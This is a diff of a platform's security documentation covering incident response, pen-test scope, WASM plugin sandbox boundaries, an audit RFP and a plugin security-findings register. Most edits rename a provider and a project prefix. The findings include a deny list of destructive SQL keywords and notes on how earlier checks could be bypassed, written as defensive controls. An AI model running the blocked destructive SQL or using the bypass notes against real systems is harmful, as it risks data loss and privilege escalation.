Any new `POST`, `PATCH`, or `DELETE` `/v1` route must be classified in the API inventory test with an allowed protection class and a non-empty rationale.
|
||||
|
||||
@@ -45,11 +45,11 @@ Every incident, regardless of severity, follows the same six phases. P2/P3 incid
|
||||
Sources of detection (non-exhaustive):
|
||||
|
||||
- Sentry alert (especially `severity >= error` with `pii.scrubbed=false` tags)
|
||||
- Audit-verifier nightly job (`compliance-audit-export` chain-validation)
|
||||
- Audit-verifier nightly job (AuditEvent chain-validation once the HiveGrid verifier ticket lands)
|
||||
- Metrics alert (login failure spike, queue depth spike, AI cost spike, webhook-delivery dead-letter spike)
|
||||
- User / customer report via support or status-page
|
||||
- Researcher report via [`vulnerability-disclosure.md`](./vulnerability-disclosure.md)
|
||||
- Provider notification (Stripe / Mailjet / OpenAI / Bunny / Sentry / Authentik)
|
||||
- Provider notification (Legacy-Provider / Mailjet / OpenAI / Bunny / Sentry / Authentik)
|
||||
- IR team review of the [`threat-model.md`](./threat-model.md) residual-risk list
|
||||
|
||||
**Action**: open an incident in the operator's incident-tracker, page the IR Lead, set provisional severity, and start the timeline log.
|
||||
@@ -79,7 +79,7 @@ Tactical levers (in roughly increasing impact):
|
||||
- Disable affected **worker queue group** (`docs/ops/worker-queues.md`)
|
||||
- Disable **outbound webhook delivery** (operator killswitch documented in `docs/architecture/outbox-pattern.md`)
|
||||
- **Invalidate sessions** for affected users (mass-revoke via DB script; documented in `docs/operations/database-rollback.md`)
|
||||
- **Rotate API keys / JWT secret / Stripe webhook secret** (rotation runbook in operator password manager)
|
||||
- **Rotate API keys / JWT secret / Legacy-Provider webhook secret** (rotation runbook in operator password manager)
|
||||
- **Block IP ranges** at WAF / Coolify edge
|
||||
- **Take service offline** behind status-page maintenance — last resort
|
||||
|
||||
@@ -89,7 +89,7 @@ For each lever applied: record actor, timestamp, lever, scope, expected impact,
|
||||
|
||||
Goal: remove the root cause.
|
||||
|
||||
- Root-cause analysis (RCA) using AuditEvent hash-chain forensics — when [`compliance-audit-export`](../improvement-plan/10-compliance-polish/compliance-audit-export.md) lands, the verifier is the canonical forensics source; until then the operator uses Sentry traces + DB audit rows + metrics
|
||||
- Root-cause analysis (RCA) using AuditEvent hash-chain forensics. Until the HiveGrid verifier lands, the operator uses Sentry traces + DB audit rows + metrics.
|
||||
- Code fix authored on a feature branch, reviewed by Engineering Lead
|
||||
- Tests added (regression + non-regression) — coverage gate enforced
|
||||
- Patch deployed (Coolify auto-deploy or manual `prisma:migrate:deploy`)
|
||||
@@ -117,13 +117,13 @@ docs/security/incidents/<YYYY-MM-DD>-<short-id>.md
|
||||
|
||||
(See [§9](#9-post-incident-review-template) for the template. The `incidents/` directory is created lazily — first incident is responsible for creating it with a `.gitkeep`.)
|
||||
|
||||
The post-mortem is reviewed at the next IR-team weekly. Action items are tracked in the improvement plan with phase + commit category. The [`threat-model.md`](./threat-model.md) is updated if a new control class was added or a residual risk needs to be re-classified.
|
||||
The post-mortem is reviewed at the next IR-team weekly. Action items are tracked in HiveGrid tickets with phase + commit category. The [`threat-model.md`](./threat-model.md) is updated if a new control class was added or a residual risk needs to be re-classified.
|
||||
|
||||
## 4. Forensics
|
||||
|
||||
Forensics relies on three sources of truth, in order of preference:
|
||||
|
||||
1. **AuditEvent hash-chain** (canonical; tamper-evident once [`compliance-audit-export`](../improvement-plan/10-compliance-polish/compliance-audit-export.md) lands its verifier)
|
||||
1. **AuditEvent hash-chain** (canonical once the HiveGrid verifier lands; use DB audit rows until then)
|
||||
2. **Sentry events + breadcrumbs** (PII-scrubbed; subject to retention)
|
||||
3. **Metrics + logs** (high-volume; subject to retention + sampling)
|
||||
|
||||
@@ -417,7 +417,7 @@ Some operations require break-glass access (e.g. direct DB write, secret rotatio
|
||||
Documented break-glass procedures:
|
||||
|
||||
- **Direct DB write** — see `docs/operations/database-rollback.md`
|
||||
- **Stripe webhook-secret rotation** — operator password-manager runbook
|
||||
- **Legacy-Provider webhook-secret rotation** — operator password-manager runbook
|
||||
- **JWT-secret rotation** — operator password-manager runbook (mass-revoke required)
|
||||
- **IdP fallback (Authentik down)** — fall back to local admin credential; documented in `infra/authentik/README.md`
|
||||
- **Backup restore in production** — `docs/ops/backup-cli.md` `restore` section
|
||||
|
||||
@@ -50,7 +50,7 @@ The following are explicitly **out of scope** and any testing against them voids
|
||||
|
||||
- Production tenants (`app.<your-domain>` without `<env>` prefix)
|
||||
- Third-party provider consoles or APIs:
|
||||
- Stripe (live + test), Mailjet, OpenAI / Anthropic / Scaleway / Aleph-Alpha, Bunny CDN, Cloudflare, GitHub, Sentry SaaS (if used), MeiliSearch Cloud, Qdrant Cloud
|
||||
- Legacy-Provider (live + test), Mailjet, OpenAI / Anthropic / Scaleway / Aleph-Alpha, Bunny CDN, Cloudflare, GitHub, Sentry SaaS (if used), MeiliSearch Cloud, Qdrant Cloud
|
||||
- Marketing site (`<your-domain>` and `www.<your-domain>` static pages) — separate engagement
|
||||
- Operator infrastructure outside the documented endpoints (DNS registrar, Coolify console, Postgres direct port, Redis direct port)
|
||||
- Customer-configured outbound webhook destinations
|
||||
@@ -60,7 +60,7 @@ The following are explicitly **out of scope** and any testing against them voids
|
||||
|
||||
- **Destructive testing** — no actions that permanently delete data, corrupt backups, or DOS production / staging
|
||||
- **Real-user data exfiltration** — no harvest of production-grade PII. If a test inadvertently surfaces production data, stop, do not store, do not share, and notify `security@<your-domain>` immediately
|
||||
- **Stripe live-mode replay** — webhook replay must use Stripe CLI in test-mode against the dedicated `pentest` tenant; live-mode payloads are out of scope
|
||||
- **Legacy-Provider live-mode replay** — webhook replay must use Legacy-Provider CLI in test-mode against the dedicated `pentest` tenant; live-mode payloads are out of scope
|
||||
- **Mail-bomb / SMS-bomb** — no testing that triggers more than 10 outbound notifications per minute to non-operator-provided addresses
|
||||
- **Social engineering** of operator staff, customers, or third-party support — out of scope
|
||||
- **Physical access** — out of scope
|
||||
|
||||
@@ -36,10 +36,10 @@ Independent of the gateway, the sandbox provides:
|
||||
| Import | Implementation | Notes |
|
||||
| -------------------------------- | ------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------- |
|
||||
| `env.memory` | `WebAssembly.Memory({ initial: 1, maximum: maxPages })` at `packages/plugin-runtime/src/runtime.ts:118` | Default cap 64 MiB (`runtime.ts:73`). |
|
||||
| `env.toolctrl_log(i32)` | `gateway.invokeSync("log", { value })` in `plugin-invoke-bootstrap.ts` | Requires manifest capability `log`; emits `plugin.invoke.host.log` worker log. |
|
||||
| `env.toolctrl_audit_record(i32)` | `gateway.invokeSync("audit", { value })` in `plugin-invoke-bootstrap.ts` | Requires manifest capability `audit`; emits `plugin.invoke.host.audit` worker log. |
|
||||
| `env.toolctrl_payload_len()` | Current invocation payload byte length at `runtime.ts:132` | Returns the UTF-8 byte length of the JSON-encoded payload. |
|
||||
| `env.toolctrl_payload_byte(i32)` | Current invocation payload byte read at `runtime.ts:133-136` | Returns one byte from the UTF-8 JSON payload, or `0` outside bounds. |
|
||||
| `env.hivegrid_log(i32)` | `gateway.invokeSync("log", { value })` in `plugin-invoke-bootstrap.ts` | Requires manifest capability `log`; emits `plugin.invoke.host.log` worker log. |
|
||||
| `env.hivegrid_audit_record(i32)` | `gateway.invokeSync("audit", { value })` in `plugin-invoke-bootstrap.ts` | Requires manifest capability `audit`; emits `plugin.invoke.host.audit` worker log. |
|
||||
| `env.hivegrid_payload_len()` | Current invocation payload byte length at `runtime.ts:132` | Returns the UTF-8 byte length of the JSON-encoded payload. |
|
||||
| `env.hivegrid_payload_byte(i32)` | Current invocation payload byte read at `runtime.ts:133-136` | Returns one byte from the UTF-8 JSON payload, or `0` outside bounds. |
|
||||
| Hook entry-point export call | `(hook as Fn)(arg)` at `runtime.ts:176` | Numeric payloads still pass as the scalar `arg`; object/array/string payloads pass `0` and are read through the JSON payload ABI imports above. |
|
||||
|
||||
No `wasi:filesystem`, `wasi:cli`, `wasi:sockets`, `wasi:random`, `wasi:clocks`, or other WASI modules are imported. A plugin that declares such an import fails instantiation with `instantiate_failed` (`runtime.ts:131-141`).
|
||||
@@ -106,11 +106,11 @@ Any code change that gives a plugin **indirect** read/write access to a table ou
|
||||
|
||||
| Queue / event stream | Worker group | Producer | Consumer / fanout target | Plugin influence |
|
||||
| ------------------------------ | ------------------------------ | ---------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------ |
|
||||
| `outbox.plugin-hook` | `WORKER_QUEUE_GROUP=general` | Host code paths that emit `plugin.hook.*` outbox events (`hooks/emit.ts:91`) | Plugin hook fanout worker validates hook names/payloads and enqueues one `toolctrl.plugin-invoke` job per enabled tenant plugin. | Indirect — payload is host-validated against the hook's Zod schema before fanout. |
|
||||
| `toolctrl.plugin-invoke` | `WORKER_QUEUE_GROUP=plugin` | `outbox.plugin-hook` fanout on the `general` worker group | Isolated plugin worker executes the WASM invocation (`plugin-invoke.ts:137`). | Indirect — the plugin can only receive a host-produced invocation for hooks it declares. |
|
||||
| `outbox.plugin-hook` | `WORKER_QUEUE_GROUP=general` | Host code paths that emit `plugin.hook.*` outbox events (`hooks/emit.ts:91`) | Plugin hook fanout worker validates hook names/payloads and enqueues one `hivegrid.plugin-invoke` job per enabled tenant plugin. | Indirect — payload is host-validated against the hook's Zod schema before fanout. |
|
||||
| `hivegrid.plugin-invoke` | `WORKER_QUEUE_GROUP=plugin` | `outbox.plugin-hook` fanout on the `general` worker group | Isolated plugin worker executes the WASM invocation (`plugin-invoke.ts:137`). | Indirect — the plugin can only receive a host-produced invocation for hooks it declares. |
|
||||
| `outbox.plugin-capability-use` | Worker-owned outbox/audit path | Sandbox itself, via `audit.ts:127-148` | Audit-batch persister (`plugin-capability-use.ts:169`). | Direct — plugin's host-fn calls produce records; field shape validated at `plugin-capability-use.ts:78-117`. |
|
||||
|
||||
Plugin hook fanout and plugin execution intentionally run on different worker groups: `general` owns `outbox.plugin-hook` subscription and fanout, while `plugin` owns `toolctrl.plugin-invoke` execution. This keeps third-party WASM execution isolated from general outbox dispatch and core queues.
|
||||
Plugin hook fanout and plugin execution intentionally run on different worker groups: `general` owns `outbox.plugin-hook` subscription and fanout, while `plugin` owns `hivegrid.plugin-invoke` execution. This keeps third-party WASM execution isolated from general outbox dispatch and core queues.
|
||||
|
||||
A plugin cannot **emit** an arbitrary outbox event — it has no `outbox.publish` capability (deliberate omission; would be too powerful for the foundation).
|
||||
|
||||
@@ -184,7 +184,7 @@ These are **explicit non-features** of the foundation. Adding any of them = new
|
||||
- **No `process` / `child_process` / `eval` / `Function` exposure to the plugin.** The host-imports map (`runtime.ts:128`) is closed.
|
||||
- **No file-system access from plugin code.** No `wasi:filesystem` import is provided.
|
||||
- **No network egress except through `http.outbound`.** When `http.outbound` lands, undici dispatcher will be the only path.
|
||||
- **No WASI, filesystem, socket, or host-object payload marshalling.** Structured hook input is exposed only through the narrow UTF-8 JSON payload ABI imports (`env.toolctrl_payload_len` / `env.toolctrl_payload_byte`). Higher-level SDK helpers and non-JSON host object bindings remain follow-up work.
|
||||
- **No WASI, filesystem, socket, or host-object payload marshalling.** Structured hook input is exposed only through the narrow UTF-8 JSON payload ABI imports (`env.hivegrid_payload_len` / `env.hivegrid_payload_byte`). Higher-level SDK helpers and non-JSON host object bindings remain follow-up work.
|
||||
- **No hot-reload of binaries.** Operator restart required → no race window where two versions execute in parallel.
|
||||
- **No tenant cross-fan-out for hooks.** A `plugin.hook.*` outbox event carries one `tenantId`; the worker scopes the `Plugin` lookup by it.
|
||||
- **No live mutation of `PLUGIN_TRUSTED_PUBLIC_KEYS`.** Restart-to-rotate is intentional.
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
**Status:** Draft RFP — awaiting operator dispatch
|
||||
**Phase:** Phase 06 (Plugin System), gating production rollout
|
||||
**Authoring agent:** Claude Opus 4.7 (1M context), 2026-05-19
|
||||
**Related blocker:** B-006 in `docs/improvement-plan/BLOCKERS.md`
|
||||
**Related blocker:** Plugin runtime production rollout remains blocked until `docs/security/plugin-runtime-signoff.md` is signed.
|
||||
**Companion document:** `docs/security/plugin-runtime-signoff.md`
|
||||
|
||||
> The operator dispatches this RFP. The authoring agent did **not** contact any
|
||||
@@ -151,8 +151,7 @@ lifecycle** shipped during Phase 06. Concrete repository paths:
|
||||
### Manifest signing trust model
|
||||
|
||||
- `PLUGIN_TRUSTED_PUBLIC_KEYS` env allowlist (foundation-state; a registry
|
||||
+ revocation flow is deferred to the marketplace track per
|
||||
`docs/improvement-plan/06-plugin-system/audit-docs.md` "Deviations")
|
||||
+ revocation flow is deferred to the marketplace track)
|
||||
- Ed25519 verification via `@noble/ed25519`
|
||||
- Canonical signing form: sorted-keys JSON of the manifest minus the
|
||||
signature / signedBy / wasmSha256 fields, concatenated with the wasm
|
||||
@@ -169,8 +168,7 @@ lifecycle** shipped during Phase 06. Concrete repository paths:
|
||||
|
||||
### Threat-model anchor
|
||||
|
||||
In-scope claims that the audit MUST stress-test (sourced from
|
||||
`docs/improvement-plan/06-plugin-system/wasm-sandbox.md` §Security Notes):
|
||||
In-scope claims that the audit MUST stress-test:
|
||||
|
||||
- Sandbox boundary is enforced by the V8 WebAssembly memory boundary +
|
||||
deny-by-default capability gateway (foundation does **not** yet use
|
||||
@@ -200,7 +198,7 @@ In-scope claims that the audit MUST stress-test (sourced from
|
||||
`docs/security/pen-test-scope.md`).
|
||||
- **Other phase deliverables** — auth (Phase 01), observability (Phase 02),
|
||||
scaling (Phase 03), AI/RAG (Phase 04), business features (Phase 05),
|
||||
Stripe/billing migrations.
|
||||
Legacy-Provider/billing migrations.
|
||||
- **Marketplace UX** — not yet built. The trust model assumed by this audit
|
||||
is the foundation-level `PLUGIN_TRUSTED_PUBLIC_KEYS` env allowlist; a
|
||||
publisher-key registry + revocation flow is a separate future engagement.
|
||||
@@ -258,7 +256,7 @@ catching such issues before production rollout.
|
||||
|
||||
## 6. Budget cap
|
||||
|
||||
**EUR 25,000 hard cap** per B-006 (`docs/improvement-plan/BLOCKERS.md`).
|
||||
**EUR 25,000 hard cap** for the plugin runtime production unblocker.
|
||||
|
||||
- Quotes within the cap proceed directly.
|
||||
- Quotes 0-10% above the cap may be negotiated down (drop the re-test pass
|
||||
@@ -278,12 +276,10 @@ when **all** of the following are true:
|
||||
- [ ] All **High** findings either addressed (re-tested green) OR
|
||||
documented as accepted-residual-risk with operator + auditor
|
||||
co-signature on the residual-risk line.
|
||||
- [ ] **Medium** findings recorded in
|
||||
`docs/improvement-plan/06-plugin-system/security-findings/<id>.md` as
|
||||
follow-up tasks (fixed if cheap, deferred if expensive — but always
|
||||
- [ ] **Medium** findings recorded in `docs/security/plugin-internal-findings.md`
|
||||
or follow-up tickets (fixed if cheap, deferred if expensive — but always
|
||||
recorded).
|
||||
- [ ] **Low** findings recorded in the same directory and triaged to the
|
||||
backlog.
|
||||
- [ ] **Low** findings recorded in the same tracker and triaged to the backlog.
|
||||
- [ ] Joint sign-off document at `docs/security/plugin-runtime-signoff.md`
|
||||
filled and signed (operator + lead auditor at minimum).
|
||||
- [ ] Sanitized public report archived at
|
||||
@@ -308,10 +304,8 @@ package contains:
|
||||
2. `docs/security/threat-model.md` — overall platform threat model.
|
||||
3. `docs/security/plugin-audit-rfp.md` — this RFP.
|
||||
4. `docs/security/plugin-runtime-signoff.md` — sign-off template.
|
||||
5. `docs/improvement-plan/06-plugin-system/wasm-sandbox.md` — design
|
||||
intent + Security Notes section (the in-scope claims).
|
||||
6. `docs/improvement-plan/06-plugin-system/audit-docs.md` — audit logging +
|
||||
sanitization design + sign-off process.
|
||||
5. `docs/architecture/plugin-system.md` — design intent and runtime constraints.
|
||||
6. `docs/operations/plugin-lifecycle.md` — lifecycle, rollout gates, and operational controls.
|
||||
7. **Test-tenant credentials** — provisioned per §4 of
|
||||
`docs/security/pen-test-scope.md`; sent via PGP-encrypted channel to the
|
||||
lead auditor.
|
||||
@@ -408,7 +402,7 @@ Mit freundlichen Grüßen,
|
||||
kickoff call.
|
||||
- [ ] After kickoff: provision test-tenant credentials, share PGP-encrypted.
|
||||
- [ ] After report received: file findings into
|
||||
`docs/improvement-plan/06-plugin-system/security-findings/`, assign
|
||||
`docs/security/plugin-internal-findings.md` or follow-up tickets, assign
|
||||
each Critical/High to an agent for remediation.
|
||||
- [ ] After remediation: request re-test from firm.
|
||||
- [ ] After re-test green: fill in
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
**Last revised:** 2026-05-19
|
||||
**Status:** **Initial cut for B-006 audit-package.** Findings here are the gaps the agent identified during the threat-model + attack-surface authoring pass. They are NOT a substitute for the external pen-test; they are the input the auditor receives to know what we already know.
|
||||
|
||||
Each finding maps back to an asset in `docs/security/plugin-threat-model.md` (`A-NN`) and a folder-per-finding in `docs/improvement-plan/06-plugin-system/security-findings/F-NNN-…md` if/when it reaches Critical / High status.
|
||||
Each finding maps back to an asset in `docs/security/plugin-threat-model.md` (`A-NN`) and to a follow-up ticket if/when it reaches Critical / High status.
|
||||
|
||||
Severity scale here: **Critical** = production-blocker, **High** = remediate before sign-off, **Medium** = remediate or document as accepted residual, **Low** = backlog.
|
||||
|
||||
@@ -17,7 +17,7 @@ Severity scale here: **Critical** = production-blocker, **High** = remediate bef
|
||||
| ----- | ---------- | ---------- | -------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| F-001 | Medium | A-02 | **backend closed 2026-05-19; list-level UI closed 2026-05-26; nonrepudiation metadata closed 2026-05-28; guided dialog deferred** | `TenantPluginCapabilityGrant` Prisma model + migration `20260519010000_06_plugin_capability_grant`. `grantPluginCapabilities` service upserts one row per (tenant, plugin, capability); rejects capabilities not declared in the manifest. `enablePlugin` runs `assertConsentSatisfied` and refuses to flip Plugin.enabled=true until every declared capability has a grant (`capability_consent_missing` → HTTP 409). Disable always allowed (kill-switch parity). Route exposes `POST ?op=grant` with `{ pluginId, grants[] }`. Env opt-out `PLUGIN_REQUIRE_CAPABILITY_CONSENT=false` for back-compat dev/test. Tenant settings now requires a reviewed-capabilities checkbox and server-generated manifest digest before writing missing grants; stale manifests are rejected. Grant audit events include plugin version, review digest, approved capability names, approved scope JSON, and the matching manifest scope snapshot. A fuller guided tenant-admin consent dialog remains deferred. |
|
||||
| F-002 | Medium | A-01, A-11 | **partially closed 2026-05-27; Wasmtime track remains external hardening** | Plugin invocation now runs in a killable worker-thread sandbox and enforces `PLUGIN_MAX_WALL_CLOCK_MS` (default 5000 ms) with `worker.terminate()`, so a pure-WASM loop with zero host calls no longer blocks the parent worker indefinitely. Remaining hardening: V8 WebAssembly still lacks per-instruction fuel/epoch interruption, so CPU accounting is wall-clock coarse and a future Wasmtime/Component-Model runtime remains the preferred security-audit upgrade path. Keep tight `PLUGIN_MAX_FUEL`, per-plugin worker concurrency, and BullMQ job timeouts in production. |
|
||||
| F-003 | Low | A-05 | **closed 2026-05-19; operator verifier shipped 2026-05-29** | Per-tenant hash chain landed: `PluginCapabilityUse.prevHash` + `rowHash` columns (migration `20260519000000_06_plugin_capability_use_chain`), canonical-form spec in `packages/plugin-runtime/src/audit-chain.ts` (10-field deterministic encoding, SHA-256), worker handler stamps both columns per batch with optional `getChainHead` seam so chains span batches. `verifyPluginCapabilityUseChain` walks an ordered slice and reports first break with `prev_mismatch` / `row_hash_mismatch`. Chain-helper, handler, and CLI tests cover stamping, cross-batch seeding, soft-fail on `getChainHead` error, intra-batch threading, tamper/deletion detection, and operator verification through `toolctrl-cli plugins verify-audit-chain <tenantId>`. Pre-F-003 rows are skipped without flagging. A production web endpoint remains deferred; the operator CLI is the supported verification surface. |
|
||||
| F-003 | Low | A-05 | **closed 2026-05-19; operator verifier shipped 2026-05-29** | Per-tenant hash chain landed: `PluginCapabilityUse.prevHash` + `rowHash` columns (migration `20260519000000_06_plugin_capability_use_chain`), canonical-form spec in `packages/plugin-runtime/src/audit-chain.ts` (10-field deterministic encoding, SHA-256), worker handler stamps both columns per batch with optional `getChainHead` seam so chains span batches. `verifyPluginCapabilityUseChain` walks an ordered slice and reports first break with `prev_mismatch` / `row_hash_mismatch`. Chain-helper, handler, and CLI tests cover stamping, cross-batch seeding, soft-fail on `getChainHead` error, intra-batch threading, tamper/deletion detection, and operator verification through `hivegrid-cli plugins verify-audit-chain <tenantId>`. Pre-F-003 rows are skipped without flagging. A production web endpoint remains deferred; the operator CLI is the supported verification surface. |
|
||||
| F-004 | (reserved) | — | — | placeholder for IDs that get split out from F-005. |
|
||||
| F-005 | High | A-02, A-08 | **closed 2026-05-19 (Phase A + Phase B)** | Phase A (commit `5d9b97cd`): trust-store gate + signedBy/key match. Phase B (this commit): install path now reads the .wasm binary from `PLUGIN_BINARY_BASE_PATH/<id>/<version>/plugin.wasm` and runs `verifyPluginSignature` against the manifest. Rejects with `binary_not_found` (404), `binary_verification_failed` (403), or `signature_key_*` (403). Dev escape via `PLUGIN_INSTALL_SKIP_BINARY_VERIFY=true` documented as non-production. 4 new tests with temp-dir fixture cover missing binary, hash mismatch, submitted-sha-vs-manifest-sha mismatch, and the escape hatch. |
|
||||
| F-006 | Low | A-06 | **closed 2026-05-19** | Stage-2 token-aware scan landed in `migrations.ts`: `tokenizeSqlIdentifiers` walks the SQL respecting single-quoted strings, double-quoted identifiers, dollar-quoted strings, line comments, and block comments. `findForbiddenKeyword` scans the identifier stream for DROP DATABASE / GRANT / REVOKE / TRUNCATE / SET ROLE / PG\_\*. Replaces the previous substring-only check (which both false-positived on string-literal content AND was bypassable through obfuscation). 7 new tests cover string-literal isolation, dollar-quote isolation, comment isolation, keyword detection, and the previously-broken DEFAULT-with-grant false-positive case. Stage-1 substring scan retained as belt-and-braces; only fires when a forbidden token appears OUTSIDE every string literal. |
|
||||
@@ -26,11 +26,11 @@ Severity scale here: **Critical** = production-blocker, **High** = remediate bef
|
||||
| F-009 | Medium | A-07 | **closed 2026-05-19** | `installPlugin` now rejects when the tenant has reached `PLUGIN_MAX_INSTALLS_PER_TENANT` (default 50; set to 0 to disable). New code `tenant_install_limit_exceeded` → HTTP 429. 3 new tests. |
|
||||
| F-010 | Low | A-08 | closed (test landed 2026-05-19, commit `bf639ac7`) | CSRF body-consumption regression — verified safe when `x-csrf-token` header is set; install route documents this contract. Negative-path test confirms a clean error (not the opaque undici `TypeError: unusable`) when callers omit the header. |
|
||||
| F-011 | Medium | A-08 | **closed 2026-05-19** | Install route now runs a SharedStore sliding-window rate limiter (`createSlidingWindowRateLimiter`) keyed on `tenant:<id>`. Default `PLUGIN_INSTALL_RATE_LIMIT_PER_MIN=5`; over-limit returns 429 + `Retry-After: 60`. Production fails closed on infra errors unless `PLUGIN_RATE_LIMIT_FAIL_OPEN=true` is explicitly configured; non-production remains fail-open for operator ergonomics. 3 new tests cover allowed/denied/infra-error paths. |
|
||||
| F-012 | Medium | A-09 | **closed 2026-05-26** | Plugin hook fanout is now wired: `plugin.hook.*` outbox events route to `outbox.plugin-hook`, the general worker's `plugin-hook-fanout` consumer scopes enabled-plugin lookup by `tenantId`, filters manifest-declared hooks, and enqueues one idempotent `toolctrl.plugin-invoke` job per subscriber. Sandbox execution remains isolated on `WORKER_QUEUE_GROUP=plugin`. The fanout path is tenant-scoped and does not cross tenant boundaries. |
|
||||
| F-012 | Medium | A-09 | **closed 2026-05-26** | Plugin hook fanout is now wired: `plugin.hook.*` outbox events route to `outbox.plugin-hook`, the general worker's `plugin-hook-fanout` consumer scopes enabled-plugin lookup by `tenantId`, filters manifest-declared hooks, and enqueues one idempotent `hivegrid.plugin-invoke` job per subscriber. Sandbox execution remains isolated on `WORKER_QUEUE_GROUP=plugin`. The fanout path is tenant-scoped and does not cross tenant boundaries. |
|
||||
| F-013 | Low | A-10 | **accepted-residual 2026-05-19** | A tenant user with control over plugin input can drive their own plugin to auto-disable. Confirmed not a privilege escalation: the threat-model invariant is that disabling a plugin for one's own tenant is not a security boundary. Documented in plugin-threat-model.md A-10 "Elevation" row. |
|
||||
| F-014 | Medium | A-12 | **closed 2026-05-19** | `sanitizePluginOutput` now carries a total-bytes budget across the walk (default 1 MiB, env override `PLUGIN_SANITIZE_TOTAL_BUDGET_BYTES`). Once exhausted further string leaves become `[SIZE_LIMIT]` markers. The output-size budget is closed; the remaining caveat is regex-based sanitization for encoded secrets. 4 new tests cover budget exhaustion in objects + arrays, default-fits cases, and invalid-env fallback. |
|
||||
| F-015 | Critical | A-13 | **bootstrap wiring closed 2026-05-26; production runtime gate remains B-006** | Handler now dispatches to `handlePluginInvokeJob` when `pluginInvokeDeps` is injected; throws (fail-loud, BullMQ dead-letters) when not. `apps/worker/src/index.ts` composes production deps when `WORKER_QUEUE_GROUP=plugin`. Bootstrap module `apps/worker/src/jobs/plugin-invoke-bootstrap.ts` wires Prisma `loadPlugin`, filesystem `loadBinary` (from `PLUGIN_BINARY_BASE_PATH/<id>/<version>/plugin.wasm`), `verifyPluginSignature`, SharedStore sliding-window rate-limit, sandbox+gateway `invokeInSandbox`, log-based `recordAudit`, and SharedStore crash-tracker. Remaining signoff is the broader production WASM runtime review, not the SharedStore limiter wiring. Host-fns for the 9 declared capabilities remain empty — any capability call denies via `no_host_implementation` through the gateway (intentional foundation scope). |
|
||||
| F-016 | Low | A-14 | **documented 2026-05-19** | The stale runtime-enable toggle has been replaced by the current production gate: `PLUGIN_RUNTIME_PRODUCTION_ENABLED=true` is required before tenant plugin runtime operations are allowed in production. Emergency stop remains operational: stop/scale `worker-plugin`, pause/drain `toolctrl.plugin-invoke`, and disable affected plugins through lifecycle controls. |
|
||||
| F-016 | Low | A-14 | **documented 2026-05-19** | The stale runtime-enable toggle has been replaced by the current production gate: `PLUGIN_RUNTIME_PRODUCTION_ENABLED=true` is required before tenant plugin runtime operations are allowed in production. Emergency stop remains operational: stop/scale `worker-plugin`, pause/drain `hivegrid.plugin-invoke`, and disable affected plugins through lifecycle controls. |
|
||||
| F-017 | High | A-02 | closed (commit `0b2995ad`, 2026-05-19) | Schema widened to declare optional `minHostVersion` / `maxHostVersion`. `PluginLifecycleService.extractVersionConstraints` is now redundant (the parsed manifest already carries the fields) but remains harmless; consider collapsing in a follow-up. |
|
||||
| F-021 | Medium | A-06 | **closed 2026-05-19** | `validateCreateTable` now requires `tenantId` to appear as a column-definition header (preceded by `(` or `,`, optionally double-quoted, followed by whitespace before the type). Column comments / DEFAULT literals containing the word `tenantId` no longer satisfy the check. 5 new tests cover the positive + negative paths. |
|
||||
| F-022 | Medium | A-08 | **closed 2026-05-26** | Plugin lifecycle routes now split the broad account-settings permission into `app.plugins.use` for read/list/audit surfaces and `app.plugins.manage` for install, capability grant, enable, and disable. Default seeds assign manage to SuperUser/Admin and use to all default app roles. |
|
||||
@@ -205,7 +205,7 @@ Historical reproduction only:
|
||||
|
||||
## Other findings (Medium / Low)
|
||||
|
||||
The remaining findings F-001, F-002, F-003, F-006, F-007, F-008, F-009, F-011, F-013, F-014, F-016, F-018, F-019, F-020 are tracked in the summary table above. Each becomes a stub file under `docs/improvement-plan/06-plugin-system/security-findings/F-NNN-….md` if and when it is scheduled for remediation.
|
||||
The remaining findings F-001, F-002, F-003, F-006, F-007, F-008, F-009, F-011, F-013, F-014, F-016, F-018, F-019, F-020 are tracked in the summary table above. Each becomes a follow-up ticket if and when it is scheduled for remediation.
|
||||
|
||||
---
|
||||
|
||||
@@ -215,4 +215,4 @@ The remaining findings F-001, F-002, F-003, F-006, F-007, F-008, F-009, F-011, F
|
||||
| ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- |
|
||||
| 2026-05-19 | Initial 20-finding cut produced during threat-model pass. F-005/F-010/F-015/F-017 flagged as High for sign-off remediation. | Claude Opus 4.7 (1M context) |
|
||||
| 2026-05-19 | Self-audit pass. F-017 closed via commit `0b2995ad` (schema widened). F-010 closed via commit `bf639ac7` (regression test landed; route confirmed safe under `x-csrf-token` header contract). F-005 confirmed open + concrete remediation plan added (trust-store gate as Phase A, in-PR scope; binary-positioning gate as Phase B, out of scope). F-015 **escalated High → Critical** during this pass because production plugin invoke wiring and rate limiting still needed proof at that point. Three new findings added: F-021 (migration tenantId-column regex bypass, Medium), F-022 (permission conflation across all plugin lifecycle ops, Medium), F-023 (sanitize missing circular-reference guard, Medium). | Claude Opus 4.7 (1M context) |
|
||||
| 2026-05-26 | Docs sync: F-012 updated to closed after `plugin.hook.*` events gained the `outbox.plugin-hook` route and the general-worker `plugin-hook-fanout` consumer that enqueues tenant-scoped `toolctrl.plugin-invoke` jobs for manifest-declared subscribers. | Codex |
|
||||
| 2026-05-26 | Docs sync: F-012 updated to closed after `plugin.hook.*` events gained the `outbox.plugin-hook` route and the general-worker `plugin-hook-fanout` consumer that enqueues tenant-scoped `hivegrid.plugin-invoke` jobs for manifest-declared subscribers. | Codex |
|
||||
@@ -3,7 +3,7 @@
|
||||
**To be filled by:** Operator + auditing firm jointly
|
||||
**Required for:** Production rollout of Phase 06 plugin runtime
|
||||
**Companion RFP:** `docs/security/plugin-audit-rfp.md`
|
||||
**Related blocker:** B-006 in `docs/improvement-plan/BLOCKERS.md`
|
||||
**Related blocker:** Plugin runtime production rollout remains blocked until this sign-off is complete.
|
||||
**Authoring agent (template):** Claude Opus 4.7 (1M context), 2026-05-19
|
||||
|
||||
> This document is the **single gate** between staging and production for
|
||||
